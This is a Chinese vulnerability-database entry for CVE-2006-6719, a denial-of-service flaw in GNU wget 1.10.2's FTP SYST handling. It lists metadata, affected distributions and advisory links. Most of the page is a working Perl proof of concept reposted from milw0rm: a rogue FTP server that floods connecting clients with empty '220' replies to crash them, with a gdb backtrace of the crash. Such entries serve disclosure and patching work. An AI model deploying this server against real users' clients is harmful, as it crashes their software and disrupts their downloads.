Free Software Foundation 'ftp-basic.c' 远程拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111789 漏洞类型 其他
发布时间 2006-12-18 更新时间 2007-01-31
CVE编号 CVE-2006-6719 CNNVD-ID CNNVD-200612-504
漏洞平台 Multiple CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/2947
https://www.securityfocus.com/bid/21650
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200612-504
|漏洞详情
FreeSoftwareFoundation(FSF)GNUwget1.10.2中的ftp-basic.c中的ftp_syst函数存在拒绝服务漏洞。远程攻击者可以通过带有大量SYST命令的空220响应的恶意FTP服务器发起拒绝服务攻击(应用系统崩溃)。
|漏洞EXP
#!/usr/bin/perl
################################################################################
# wget <= 1.10.2 | Unchecked Boundary Condition
# Federico L. Bossi Bonin
#
# www.globalst.com.ar
# fbossi[at]globalst.com.ar
################################################################################

use strict;
use IO::Socket;


#Resolving localhost... 127.0.0.1
#Connecting to localhost|127.0.0.1|:21... connected.
#Logging in as anonymous ... Logged in!
#==> SYST ...
#Program received signal SIGSEGV, Segmentation fault.
#[Switching to Thread -1211496768 (LWP 22824)]
#0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#(gdb) backtrace
#0  0xb7d1c633 in strcasecmp () from /lib/tls/libc.so.6
#1  0x080542c5 in ftp_syst (csock=6, server_type=0xbfe3d854) at ftp-basic.c:1042
#2  0x0804fa6f in getftp (u=0x80800a0, len=0xbfe3d5d8, restval=0, con=0xbfe3d840) at ftp.c:367
#3  0x08051211 in ftp_loop_internal (u=0x80800a0, f=0x0, con=0xbfe3d840) at ftp.c:1197
#4  0x08051877 in ftp_get_listing (u=0x80800a0, con=0xbfe3d840, f=0xbfe3d7a8) at ftp.c:1341
#5  0x08051a83 in ftp_retrieve_glob (u=0x80800a0, con=0xbfe3d840, action=2) at ftp.c:1705
#6  0x08052910 in ftp_loop (u=0x80800a0, dt=0xbfe3d978, proxy=0x0) at ftp.c:1875
#7  0x08066cf8 in retrieve_url (origurl=0x8080070 "ftp://localhost", file=0xbfe3d970, newloc=0xbfe3d974, refurl=0x0,dt=0xbfe3d978) at retr.c:678
#8  0x08061bdc in main (argc=3, argv=0xbfe3da84) at main.c:943
#(gdb)

my $PORT=21;
$SIG{CHLD} = 'IGNORE';


my $listen = IO::Socket::INET->new(LocalPort => $PORT, Listen => 10,Proto => 'tcp',Reuse => 1); 
die "Cant't bind port: $@" unless $listen;

print "wget PoC\nWainting conections\n";

while (my $connection = $listen->accept){
my $child;

   while (my $connection = $listen->accept){
   my $child;
	  die "Can't fork: $!" unless defined ($child = fork());
   		if ($child == 0){
   				$listen->close;
				while() { 
  				print $connection "220 \n";
				}
				exit 0;
   		}
   		else {
				print "Connecton recieved ... ",$connection->peerhost,"\n";
			        $connection->close();
		   }
       } #while

} #while

# milw0rm.com [2006-12-18]
|受影响的产品
Trustix Secure Linux 3.0 Trustix Secure Linux 2.2 Trustix Operating System Enterprise Server 2.0 rPath rPath Linux 1 Redhat Fedora Core6 Redhat Fedora Core5
|参考资料

来源:BID
名称:21650
链接:http://www.securityfocus.com/bid/21650
来源:MILW0RM
名称:2947
链接:http://www.milw0rm.com/exploits/2947
来源:issues.rpath.com
链接:https://issues.rpath.com/browse/RPL-930
来源:MANDRIVA
名称:MDKSA-2007:017
链接:http://www.mandriva.com/security/advisories?name=MDKSA-2007:017
来源:MILW0RM
名称:2947
链接:http://milw0rm.com/exploits/2947
来源:MANDRIVA
名称:MDKSA-2007:017
链接:http://frontal2.mandriva.com/security/advisories?name=MDKSA-2007:017